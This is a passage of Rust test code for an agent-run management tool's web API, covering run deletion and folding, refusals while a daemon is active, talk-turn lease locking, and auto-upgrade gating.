22279 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
22280 .expect("write artifact");
22281 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
22282 .expect("write run.json");
22283
22284 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
22286 assert_eq!(res.status, 204);
22287 assert!(res.body.is_empty(), "204 has no body");
22288 assert!(!dir.exists(), "run directory and artifacts must be deleted");
22289
22290 let run_running = "20260901-000000-rung";
22295 write_run(&runs, run_running, RunStatus::Prep);
22296 let mut beat = crate::daemon::Status::new();
22297 beat.current = vec![crate::daemon::Current {
22298 worker: None,
22299 task: "20260901-000000-task".to_owned(),
22300 run: run_running.to_owned(),
22301 }];
22302 beat.updated_at = jiff::Timestamp::now();
22303 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22304 .expect("publish a heartbeat");
22305 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
22306 assert_eq!(res.status, 409);
22307 assert!(
22308 res.json()["error"]
22309 .as_str()
22310 .unwrap()
22311 .contains("live daemon"),
22312 "the refusal must say who is holding it"
22313 );
22314 assert!(
22315 runs.join(run_running).exists(),
22316 "a run in flight keeps its directory"
22317 );
22318
22319 let run_unfolded = "20260901-000000-unfd";
22321 let mut state2 = RunState::new(
22322 PathBuf::from("/repo"),
22323 "main".to_owned(),
22324 "abc".to_owned(),
22325 "instruction".to_owned(),
22326 Config::default(),
22327 );
22328 state2.id = run_unfolded.to_owned();
22329 state2.status = RunStatus::Ready;
22330 state2.candidates.push(crate::run::Candidate {
22331 index: 0,
22332 label: 'A',
22333 agent: "a".to_owned(),
22334 branch: "b".to_owned(),
22335 worktree: PathBuf::from("/w"),
22336 summary: String::new(),
22337 stat: String::new(),
22338 files: 1,
22339 commits: 1,
22340 empty: false,
22341 failed: None,
22342 verified_noop: None,
22343 duration_ms: 0,
22344 folded: false,
22345 });
22346 let dir2 = runs.join(run_unfolded);
22347 std::fs::create_dir_all(&dir2).expect("create dir2");
22348 std::fs::write(
22349 dir2.join("run.json"),
22350 serde_json::to_string(&state2).unwrap(),
22351 )
22352 .expect("write run.json");
22353
22354 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
22355 assert_eq!(res.status, 409);
22356 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
22357 assert!(dir2.exists(), "unfolded run directory is kept");
22358
22359 let res = fx.delete("/api/runs/nonexistent").await;
22361 assert_eq!(res.status, 404);
22362 }
22363
22364 #[test]
22373 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
22374 let start = APP_JS
22375 .find("function renderStats() {")
22376 .expect("renderStats");
22377 let end = start
22378 + APP_JS[start..]
22379 .find("function statsTile(")
22380 .expect("the next top-level function");
22381 let body = &APP_JS[start..end];
22382
22383 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
22384 let gate_end = gate_start
22385 + body[gate_start..]
22386 .find("}\n renderStatsQueue")
22387 .expect("the gate's own closing brace, right before the unconditional call");
22388 let gated = &body[gate_start..gate_end];
22389
22390 assert_eq!(
22391 body.matches("renderStatsQueue(").count(),
22392 1,
22393 "renderStats must call renderStatsQueue exactly once: {body}"
22394 );
22395 assert!(
22396 !gated.contains("renderStatsQueue"),
22397 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
22398 run-derived panels on an empty run history - the queue panel has to render \
22399 regardless: {gated}"
22400 );
22401 }
22402
22403 #[test]
22404 fn web_ui_delete_contract_in_front_end() {
22405 assert!(APP_JS.contains("deleteRun:"));
22407 assert!(APP_JS.contains("deleteTask:"));
22408
22409 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
22411 ..APP_JS.find("function renderRuns").unwrap()];
22412 assert!(!run_cards_slice.to_lowercase().contains("delete"));
22413
22414 assert!(APP_JS.contains("renderRunDelete"));
22416 assert!(APP_JS.contains("runDeleteReason"));
22417 assert!(APP_JS.contains("magi fold"));
22418 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
22419
22420 assert!(APP_JS.contains("cancel.focus"));
22422 assert!(APP_JS.contains("armedRunDelete"));
22423 assert!(APP_JS.contains("renderTaskDeleteBox"));
22424 assert!(APP_JS.contains("armed${cap(key)}"));
22425
22426 assert!(APP_JS.contains("disabled: status === \"running\""));
22428 }
22429
22430 #[test]
22450 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
22451 let build = APP_JS
22452 .find("function createRunCard")
22453 .expect("createRunCard exists");
22454 let update = APP_JS
22455 .find("function updateRunCard")
22456 .expect("updateRunCard exists");
22457 let end = APP_JS
22458 .find("function renderRuns")
22459 .expect("renderRuns exists");
22460
22461 let builder = &APP_JS[build..update];
22463 let open = builder.find("refs = {").expect("createRunCard sets refs");
22464 let literal = &builder[open + "refs = {".len()..];
22465 let close = literal.find('}').expect("the refs literal is closed");
22466 let published: HashSet<&str> = literal[..close]
22467 .split(',')
22468 .filter_map(|entry| entry.split(':').next())
22470 .map(str::trim)
22471 .filter(|name| !name.is_empty())
22472 .collect();
22473 assert!(
22474 published.len() > 5,
22475 "the refs literal did not parse into names: {published:?}"
22476 );
22477
22478 let mut used: Vec<&str> = Vec::new();
22481 let updaters = &APP_JS[update..end];
22482 for (at, _) in updaters.match_indices("r.") {
22483 let before = updaters[..at].chars().next_back();
22486 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22487 continue;
22488 }
22489 let rest = &updaters[at + 2..];
22490 let len = rest
22491 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22492 .unwrap_or(rest.len());
22493 if len > 0 {
22494 used.push(&rest[..len]);
22495 }
22496 }
22497 assert!(
22498 used.len() > 5,
22499 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22500 );
22501
22502 let missing: Vec<&str> = used
22503 .iter()
22504 .copied()
22505 .filter(|name| !published.contains(name))
22506 .collect();
22507 assert!(
22508 missing.is_empty(),
22509 "a run card's updater reaches for {missing:?}, which `createRunCard` \
22510 never put in `refs` - every card will throw and the list will \
22511 render empty under a count line that says otherwise. Published: \
22512 {published:?}"
22513 );
22514 }
22515
22516 #[tokio::test]
22517 async fn folding_from_the_phone_reports_what_it_removed() {
22518 let fx = Fixture::start().await;
22519 let runs = fx.runs();
22520
22521 let id = "20260901-000000-fold";
22525 write_run(&runs, id, RunStatus::Stalled);
22526 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22527 assert_eq!(res.status, 200);
22528 assert_eq!(res.json()["removed_count"], 0);
22529 assert_eq!(res.json()["run"], id);
22530 assert!(
22531 runs.join(id).exists(),
22532 "a fold keeps the run's record; only the worktrees go"
22533 );
22534 }
22535
22536 #[tokio::test]
22537 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22538 let fx = Fixture::start().await;
22539 let runs = fx.runs();
22540 let wt = fx.home.path().join("wt").join("magi").join("dead");
22541 let id = "20260901-000000-dead";
22542 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22543 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22544 std::fs::create_dir_all(&wt).expect("worktree dir");
22545
22546 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22547 assert_eq!(res.status, 200, "{}", res.body);
22548 assert!(
22549 res.json()["removed_count"].as_u64().unwrap() > 0,
22550 "the worktree this build could not read a state for still went"
22551 );
22552 assert!(
22553 !runs.join(id).exists(),
22554 "an unreadable run has no candidate list to fold selectively, so \
22555 the whole record goes - same as `magi fold` on the CLI"
22556 );
22557 }
22558
22559 #[tokio::test]
22560 async fn deleting_an_unreadable_run_removes_it_wholesale() {
22561 let fx = Fixture::start().await;
22562 let runs = fx.runs();
22563 let wt = fx.home.path().join("wt").join("magi").join("gone");
22564 let id = "20260901-000000-gone";
22565 std::fs::create_dir_all(runs.join(id)).expect("run dir");
22566 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22567 std::fs::create_dir_all(&wt).expect("worktree dir");
22568
22569 let res = fx.delete(&format!("/api/runs/{id}")).await;
22570 assert_eq!(res.status, 204, "{}", res.body);
22571 assert!(!runs.join(id).exists(), "the broken record is gone");
22572 assert!(!wt.exists(), "its worktree is gone too");
22573 }
22574
22575 #[tokio::test]
22576 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22577 let fx = Fixture::start().await;
22578 let runs = fx.runs();
22579 let id = "20260901-000000-live";
22580 write_run(&runs, id, RunStatus::Implementing);
22581
22582 let mut beat = crate::daemon::Status::new();
22583 beat.current = vec![crate::daemon::Current {
22584 worker: None,
22585 task: "20260901-000000-task".to_owned(),
22586 run: id.to_owned(),
22587 }];
22588 beat.updated_at = jiff::Timestamp::now();
22589 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22590 .expect("publish a heartbeat");
22591
22592 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22593 assert_eq!(res.status, 409);
22594 assert!(
22595 res.json()["error"]
22596 .as_str()
22597 .unwrap()
22598 .contains("live daemon"),
22599 "folding under a running agent would pull its worktree away"
22600 );
22601 }
22602
22603 #[tokio::test]
22604 async fn fold_merged_requires_a_pr_url() {
22605 let fx = Fixture::start().await;
22606 let runs = fx.runs();
22607 let id = "20260901-000000-nourl";
22608 write_run(&runs, id, RunStatus::Blocked);
22609
22610 let res = fx
22611 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22612 .await;
22613 assert_eq!(res.status, 400, "{}", res.body);
22614
22615 let blank = fx
22616 .post(
22617 &format!("/api/runs/{id}/fold-merged"),
22618 Some(r#"{"pr_url":" "}"#),
22619 )
22620 .await;
22621 assert_eq!(blank.status, 400, "{}", blank.body);
22622 }
22623
22624 #[tokio::test]
22625 async fn fold_merged_is_404_for_an_unknown_run() {
22626 let fx = Fixture::start().await;
22627 let res = fx
22628 .post(
22629 "/api/runs/nosuchrun/fold-merged",
22630 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22631 )
22632 .await;
22633 assert_eq!(res.status, 404, "{}", res.body);
22634 }
22635
22636 #[tokio::test]
22637 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
22638 let fx = Fixture::start().await;
22639 let runs = fx.runs();
22640 let id = "20260901-000000-livemerge";
22641 write_run(&runs, id, RunStatus::Blocked);
22642
22643 let mut beat = crate::daemon::Status::new();
22644 beat.current = vec![crate::daemon::Current {
22645 worker: None,
22646 task: "20260901-000000-task".to_owned(),
22647 run: id.to_owned(),
22648 }];
22649 beat.updated_at = jiff::Timestamp::now();
22650 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22651 .expect("publish a heartbeat");
22652
22653 let res = fx
22654 .post(
22655 &format!("/api/runs/{id}/fold-merged"),
22656 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22657 )
22658 .await;
22659 assert_eq!(res.status, 409, "{}", res.body);
22660 assert!(
22661 res.json()["error"]
22662 .as_str()
22663 .unwrap()
22664 .contains("live daemon"),
22665 "correcting a run's merge underneath a running agent would race \
22666 whatever it is doing to the same `status`/`merge` fields"
22667 );
22668 }
22669
22670 #[tokio::test]
22675 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
22676 let fx = Fixture::start().await;
22677 let runs = fx.runs();
22678 let id = "20260901-000000-unconfirmed";
22679 write_run(&runs, id, RunStatus::Blocked);
22680
22681 let res = fx
22682 .post(
22683 &format!("/api/runs/{id}/fold-merged"),
22684 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
22685 )
22686 .await;
22687 assert_eq!(res.status, 400, "{}", res.body);
22688 assert_eq!(
22689 read_run(&runs, id).unwrap().status,
22690 RunStatus::Blocked,
22691 "a pull request that could not be confirmed merged must leave \
22692 the run exactly where it was"
22693 );
22694 }
22695
22696 #[tokio::test]
22697 async fn terminal_runs_cannot_be_resumed() {
22698 let fx = Fixture::start().await;
22699 let runs = fx.runs();
22700
22701 for (status, word) in [
22702 (RunStatus::Merged, "merged"),
22703 (RunStatus::Ready, "ready"),
22704 (RunStatus::Failed, "failed"),
22705 ] {
22706 let id = format!("20260901-000000-{}", &word[..4]);
22707 write_run(&runs, &id, status);
22708 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
22709 assert_eq!(res.status, 409, "{word} must not be resumable");
22710 }
22711 }
22712
22713 #[tokio::test]
22714 async fn resume_is_refused_while_the_loop_is_running() {
22715 let fx = Fixture::start().await;
22716 let runs = fx.runs();
22717 let stalled = "20260901-000000-stal";
22718 write_run(&runs, stalled, RunStatus::Stalled);
22719
22720 let mut beat = crate::daemon::Status::new();
22724 beat.current = vec![crate::daemon::Current {
22725 worker: None,
22726 task: "20260901-000000-task".to_owned(),
22727 run: "20260901-000000-othr".to_owned(),
22728 }];
22729 beat.updated_at = jiff::Timestamp::now();
22730 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22731 .expect("publish a heartbeat");
22732
22733 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
22734 assert_eq!(res.status, 409);
22735 let err = res.json()["error"].as_str().unwrap().to_owned();
22736 assert!(err.contains("othr"), "it names what the loop is on: {err}");
22737 assert!(err.contains("stop it first"), "{err}");
22738 }
22739
22740 #[test]
22741 fn a_run_cannot_be_resumed_twice_at_once() {
22742 let home = TempDir::new().expect("temp home");
22743 let ui = Ui::new(
22744 Queue::at(home.path().join("queue")),
22745 Questions::at(home.path().join("questions")),
22746 Talks::at(home.path().join("talks")),
22747 home.path().join("runs"),
22748 home.path().to_path_buf(),
22749 PathBuf::from("/repo"),
22750 )
22751 .with_worktrees_root(home.path().join("wt"));
22752 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22753 let again = ui.begin_resume("20260901-000000-once");
22754 assert!(again.is_err(), "a second tap must not start a second graph");
22755 drop(first);
22756 assert!(
22757 ui.begin_resume("20260901-000000-once").is_ok(),
22758 "and the claim is released when the attempt ends"
22759 );
22760 }
22761
22762 #[test]
22763 fn talk_thinking_tracks_only_its_held_turn_claim() {
22764 let home = TempDir::new().expect("temp home");
22765 let ui = Ui::new(
22766 Queue::at(home.path().join("queue")),
22767 Questions::at(home.path().join("questions")),
22768 Talks::at(home.path().join("talks")),
22769 home.path().join("runs"),
22770 home.path().to_path_buf(),
22771 PathBuf::from("/repo"),
22772 )
22773 .with_worktrees_root(home.path().join("wt"));
22774 let id = "20260901-000000-once";
22775
22776 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22777 let turn = ui.begin_talk_turn(id).expect("claim turn");
22778 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22779 assert!(
22780 !ui.is_thinking("20260901-000000-other"),
22781 "one talk's turn does not make another talk busy"
22782 );
22783 drop(turn);
22784 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22785 }
22786
22787 #[test]
22788 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22789 let home = TempDir::new().expect("temp home");
22790 let talks = Talks::at(home.path().join("talks"));
22791 let ui = Ui::new(
22792 Queue::at(home.path().join("queue")),
22793 Questions::at(home.path().join("questions")),
22794 talks.clone(),
22795 home.path().join("runs"),
22796 home.path().to_path_buf(),
22797 PathBuf::from("/repo"),
22798 )
22799 .with_worktrees_root(home.path().join("wt"));
22800 let id = "20260901-000000-cross";
22801
22802 let other = Talks::at(home.path().join("talks"))
22803 .claim_turn(id)
22804 .expect("claim")
22805 .expect("the other process wins");
22806 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22807 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22808 assert!(
22809 matches!(
22810 ui.begin_talk_turn_unless_pending(id).expect("start"),
22811 TalkTurnStart::Foreign
22812 ),
22813 "a foreign holder is refused, not queued behind"
22814 );
22815 assert!(
22816 !ui.talk_turns.lock().unwrap().live.contains(id),
22817 "a refused claim leaves no in-process entry behind"
22818 );
22819 drop(other);
22820 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22821 assert!(talks.turn_held(id), "the web turn holds the lease");
22822 drop(turn);
22823 assert!(
22824 !talks.turn_held(id),
22825 "dropping the guard releases the lease"
22826 );
22827 }
22828
22829 fn consult_question(ui: &Ui) -> Question {
22830 let mut q = Question::new(
22831 "20260901-000000-consult".to_owned(),
22832 "implement".to_owned(),
22833 "impl-A".to_owned(),
22834 "Which backend?".to_owned(),
22835 String::new(),
22836 vec!["SQLite".to_owned(), "Redis".to_owned()],
22837 );
22838 ui.questions.put(&mut q).expect("question");
22839 q
22840 }
22841
22842 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22843 (
22844 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22845 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22846 )
22847 }
22848
22849 #[tokio::test]
22850 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22851 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22852 let q = consult_question(&ui);
22853 let talk = ui.talks.get(&id).expect("talk");
22854 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22855 let before = consult_snapshot(&ui, &q, &id);
22856 let cli_talks = Talks::at(ui.home.join("talks"));
22857 assert_eq!(
22858 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22859 .await
22860 .expect("CLI starter"),
22861 crate::consult::Started::Busy
22862 );
22863 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22864 assert!(ui.is_thinking(&id));
22865 drop(guard);
22866 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22867 }
22868
22869 #[tokio::test]
22870 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22871 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22872 let q = consult_question(&ui);
22873 let talk = ui.talks.get(&id).expect("talk");
22874 let started = tmp.path().join("started");
22875 let release = tmp.path().join("release");
22876 let script = tmp.path().join("consult-agent.sh");
22877 std::fs::write(
22878 &script,
22879 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22880 )
22881 .expect("script");
22882 let mut cfg = stub_config();
22883 cfg.agents[0].id = "mock".to_owned();
22884 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22885 cfg.agents[0].env = std::collections::BTreeMap::from([
22886 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22887 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22888 ]);
22889 let questions = ui.questions.clone();
22890 let cli_talks = Talks::at(ui.home.join("talks"));
22891 let cli_q = q.clone();
22892 let turn = tokio::spawn(async move {
22893 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22894 });
22895 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22896 while !started.exists() {
22897 tokio::time::sleep(Duration::from_millis(10)).await;
22898 }
22899 })
22900 .await;
22901 let refusal = if ready.is_ok() {
22904 let before = consult_snapshot(&ui, &q, &id);
22905 let result = talk_say(
22906 State(Arc::clone(&ui)),
22907 Path(id.clone()),
22908 Ok(Json(NewTalkTurn {
22909 reply_to: None,
22910 text: "another message".to_owned(),
22911 attachments: Vec::new(),
22912 })),
22913 )
22914 .await;
22915 Some((result, before, consult_snapshot(&ui, &q, &id)))
22916 } else {
22917 None
22918 };
22919 std::fs::write(&release, "").expect("release agent");
22920 let done = turn.await.expect("join CLI turn");
22921 ready.expect("agent started before deadline");
22922 let (result, before, after) = refusal.expect("web request");
22923 let error = result.expect_err("web must refuse the CLI's turn");
22924 assert_eq!(error.status, StatusCode::CONFLICT);
22925 assert!(error.message.contains("a turn is already running"));
22926 assert_eq!(
22927 after, before,
22928 "refusal preserves question, draft and history"
22929 );
22930 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22931 let guard = ui
22932 .begin_talk_turn(&id)
22933 .expect("web claim")
22934 .expect("free again");
22935 drop(guard);
22936 }
22937
22938 #[test]
22939 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22940 let home = TempDir::new().expect("temp home");
22941 let talks = Talks::at(home.path().join("talks"));
22942 let ui = Ui::new(
22943 Queue::at(home.path().join("queue")),
22944 Questions::at(home.path().join("questions")),
22945 talks.clone(),
22946 home.path().join("runs"),
22947 home.path().to_path_buf(),
22948 PathBuf::from("/repo"),
22949 )
22950 .with_worktrees_root(home.path().join("wt"));
22951 let id = "20260901-000000-order";
22952 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22953 let slots = ui.talk_turns.lock().unwrap();
22955 let dropper = std::thread::spawn(move || drop(turn));
22956 let start = std::time::Instant::now();
22957 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22958 std::thread::sleep(Duration::from_millis(5));
22959 }
22960 assert!(!talks.turn_held(id), "the lease is released first");
22961 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22962 drop(slots);
22963 dropper.join().expect("join");
22964 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22965 }
22966
22967 #[tokio::test]
22968 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22969 let fx = Fixture::start().await;
22970 let mut beat = crate::daemon::Status::new();
22971 beat.worker_protocol = None;
22972 beat.pid = 4321;
22973 beat.updated_at = jiff::Timestamp::now();
22974 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22975 .expect("publish a heartbeat");
22976
22977 let res = fx.post("/api/upgrade", None).await;
22978 assert_eq!(res.status, 409);
22979 }
22980
22981 #[test]
22988 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22989 assert!(!should_spawn_recheck(&crate::config::Update {
22990 mode: UpdateMode::Off,
22991 interval: None,
22992 auto_restart: false,
22993 }));
22994
22995 unsafe {
22998 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22999 }
23000 let killed = should_spawn_recheck(&crate::config::Update {
23001 mode: UpdateMode::Notify,
23002 interval: None,
23003 auto_restart: false,
23004 });
23005 unsafe {
23006 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23007 }
23008 assert!(
23009 !killed,
23010 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23011 one-time startup check"
23012 );
23013
23014 assert!(should_spawn_recheck(&crate::config::Update {
23015 mode: UpdateMode::Notify,
23016 interval: None,
23017 auto_restart: false,
23018 }));
23019 }
23020
23021 #[test]
23027 fn recheck_poll_period_tracks_a_short_configured_interval() {
23028 let short = crate::config::Update {
23029 mode: UpdateMode::Notify,
23030 interval: Some("1m".to_owned()),
23031 auto_restart: false,
23032 };
23033 let period = recheck_poll_period(&short);
23034 assert!(
23035 period <= Duration::from_secs(30),
23036 "a one-minute interval must wake the task far sooner than the \
23037 default ceiling, or the deck would not notice within the \
23038 interval the operator configured: got {period:?}"
23039 );
23040
23041 let default = crate::config::Update {
23042 mode: UpdateMode::Notify,
23043 interval: None,
23044 auto_restart: false,
23045 };
23046 assert_eq!(
23047 recheck_poll_period(&default),
23048 UPDATE_RECHECK_POLL_MAX,
23049 "the default day-long interval should poll at the (capped) \
23050 ceiling rather than needlessly often"
23051 );
23052 }
23053
23054 #[test]
23062 fn recheck_skips_the_network_before_the_interval_elapses() {
23063 let dir = TempDir::new().expect("temp dir");
23064 let path = dir.path().join("state.json");
23065 let state = kaishin::UpdateCheckState {
23066 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23067 last_known_latest: None,
23068 last_known_url: None,
23069 };
23070 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23071
23072 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23073 assert!(
23074 !update_recheck_due(&checker, None),
23075 "a check made moments ago must not be repeated before the \
23076 configured interval elapses"
23077 );
23078 }
23079
23080 #[test]
23086 fn recheck_defers_to_an_upgrade_already_in_flight() {
23087 let dir = TempDir::new().expect("temp dir");
23088 let path = dir.path().join("state.json");
23089 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23090 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23091
23092 assert!(
23093 !update_recheck_due(&checker, Some(&progress)),
23094 "a recheck must not run while an upgrade this deck started is \
23095 still moving"
23096 );
23097 }
23098
23099 #[tokio::test]
23100 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23101 unsafe {
23113 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23114 }
23115 let fx = Fixture::start().await;
23116 let res = fx.post("/api/upgrade", None).await;
23117 unsafe {
23118 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23119 }
23120 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23121 let body = res.json();
23122 assert!(body["to"].is_null(), "there was no release to move to");
23123 assert!(body["parked"].is_null(), "and nothing was parked");
23124 assert!(
23125 body["detail"]
23126 .as_str()
23127 .unwrap()
23128 .contains("disabled by MAGI_NO_AUTOUPDATE"),
23129 "{body:?}"
23130 );
23131 }
23132
23133 #[test]
23134 fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23135 use AutoUpgradeDecision::{Skip, Trigger, Wait};
23136 let mut cfg = Update::default();
23137 assert!(matches!(
23138 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23139 Skip(_)
23140 ));
23141 cfg.auto_restart = true;
23142 assert_eq!(
23143 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23144 Trigger
23145 );
23146 assert_eq!(
23147 auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23148 Wait
23149 );
23150 for (disabled, moving, failed) in [
23151 (true, false, None),
23152 (false, true, None),
23153 (false, false, Some("v2")),
23154 ] {
23155 assert!(matches!(
23156 auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23157 Skip(_)
23158 ));
23159 }
23160 assert_eq!(
23161 auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23162 Trigger
23163 );
23164 cfg.mode = UpdateMode::Off;
23165 assert!(matches!(
23166 auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23167 Skip(_)
23168 ));
23169 }
23170
23171 #[test]
23172 fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23173 let home = TempDir::new().unwrap();
23174 let ui = idle_ui(&home);
23175 assert!(!ui.auto_upgrade_busy());
23176 let directory = home.path().join("workers/jobs/abcdef");
23177 std::fs::create_dir_all(&directory).unwrap();
23178 let mut job = crate::worker::Job {
23179 id: "abcdef".into(),
23180 sequence: 1,
23181 kind: "scheduler".into(),
23182 key: "scheduler".into(),
23183 payload: serde_json::json!({}),
23184 generation: "test".into(),
23185 version: None,
23186 status: crate::worker::Status::Running,
23187 result: None,
23188 pid: None,
23189 created_at: 0,
23190 finished_at: None,
23191 };
23192 let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23193 let write = |job: &crate::worker::Job| {
23194 std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23195 };
23196 write(&job);
23197 assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23198 for kind in ["task", "chat"] {
23199 job.kind = kind.into();
23200 write(&job);
23201 assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23202 }
23203 drop(lease);
23204 assert!(
23208 !ui.auto_upgrade_busy(),
23209 "completed execution permits updates"
23210 );
23211 std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23212 assert!(
23213 ui.auto_upgrade_busy(),
23214 "unreadable worker state defers updates"
23215 );
23216 }
23217
23218 fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23219 Box::pin(async { anyhow::bail!("test installer failed") })
23220 }
23221
23222 #[tokio::test]
23223 async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23224 let home = TempDir::new().unwrap();
23225 std::fs::write(
23226 home.path().join("magi.toml"),
23227 "[update]\nauto_restart = true\n",
23228 )
23229 .unwrap();
23230 let mut ui = idle_ui(&home);
23231 ui.repo = home.path().to_path_buf();
23232 ui.upgrade_runner = fail_test_upgrade;
23234 let ui = Arc::new(ui);
23235 let latest = || {
23236 Some(kaishin::LatestRelease {
23237 tag_name: "v999.0.0".into(),
23238 html_url: String::new(),
23239 })
23240 };
23241 ui.talk_turns.lock().unwrap().live.insert("busy".into());
23242 assert_eq!(
23243 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23244 .await
23245 .status(),
23246 StatusCode::NO_CONTENT
23247 );
23248 assert!(updater::read_progress(home.path()).is_none());
23249 ui.talk_turns.lock().unwrap().live.clear();
23250 let gate = ui.upgrade_gate.lock().await;
23251 assert_eq!(
23252 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23253 .await
23254 .status(),
23255 StatusCode::CONFLICT
23256 );
23257 drop(gate);
23258 assert_eq!(
23259 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23260 .await
23261 .status(),
23262 StatusCode::ACCEPTED
23263 );
23264 let progress = updater::read_progress(home.path()).unwrap();
23265 assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23266 assert_eq!(progress.stage, updater::Stage::Downloading);
23267 assert!(progress.parked_run.is_none());
23268 assert!(ui.start_detached_loop().await.is_err());
23269 assert!(ui.start_loop(None).is_err());
23270 assert!(ui.begin_resume("late").is_err());
23271 tokio::time::timeout(Duration::from_secs(2), async {
23272 while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23273 tokio::task::yield_now().await;
23274 }
23275 })
23276 .await
